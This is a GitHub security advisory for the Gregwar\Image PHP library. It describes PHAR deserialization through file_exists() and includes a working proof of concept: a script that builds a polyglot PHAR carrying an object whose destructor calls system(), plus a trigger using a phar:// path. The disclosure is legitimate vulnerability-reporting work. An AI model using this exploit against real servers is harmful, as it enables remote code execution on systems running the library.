Skip to content

[Security] PHAR deserialization allowing remote code execution #193

@tusoar

Description

@tusoar

PHAR deserialization allowing remote code execution

Description

Gregwar\Image is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when Gregwar\Image is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If the user can control the input file and protocol during the image conversion , it will invoke deserialization.

Proof of Concept (PoC)

there is a vulnerable example with : GD.php

GD.php line 610~617

protected function openJpeg($file)
    {
        if (file_exists($file) && filesize($file)) {
            $this->resource = @imagecreatefromjpeg($file);
        } else {
            $this->resource = false;
        }
    }
  • You can see there's a file_exists function, and when we pass in a JPEG file, it gets triggered.
  • However, in the implementation method of File.php, if we pass in a file other than JPEG, PNG, GIF, or WebP, the program will still automatically set the type to JPEG for us.

File.php line 29~61

     public function guessType()
    {
        if (function_exists('exif_imagetype')) {
            $type = @exif_imagetype($this->file);

            if (false !== $type) {
                if ($type == IMAGETYPE_JPEG) {
                    return 'jpeg';
                }

                if ($type == IMAGETYPE_GIF) {
                    return 'gif';
                }

                if ($type == IMAGETYPE_PNG) {
                    return 'png';
                }

                if ($type == IMAGETYPE_WEBP) {
                    return 'webp';
                }
            }
        }

        $parts = explode('.', $this->file);
        $ext = strtolower($parts[count($parts) - 1]);

        if (isset(Image::$types[$ext])) {
            return Image::$types[$ext];
        }

        return 'jpeg';
    }
  • Thus, we create the PHAR file like this.

create_phar.php

<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

// create new Phar
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('poc.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
root@192a018e0acc:/var/www/html# php --define phar.readonly=0 create_phar.php

We obtain the file.:
image

  • And we setup the following code in /var/www/html: vuln.php represents our use of gregwar/image functions and poc.php represents code with a vulnerable POP chain.

poc.php

<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

vuln.php

<?php

    require_once 'vendor/autoload.php';

    include 'poc.php';

    use Gregwar\Image\Image;

    Image::open('phar://poc.phar/')
        ->resize(500, 500)
        ->save('out.png', 'png');
  • And execute vuln.php with php vuln.php, you should see whoami being executed

image
or
image

Mitigation

  • Add a whitelist to enhance input validation.

Reference

https://github.com/Gregwar/Image/tree/master
https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions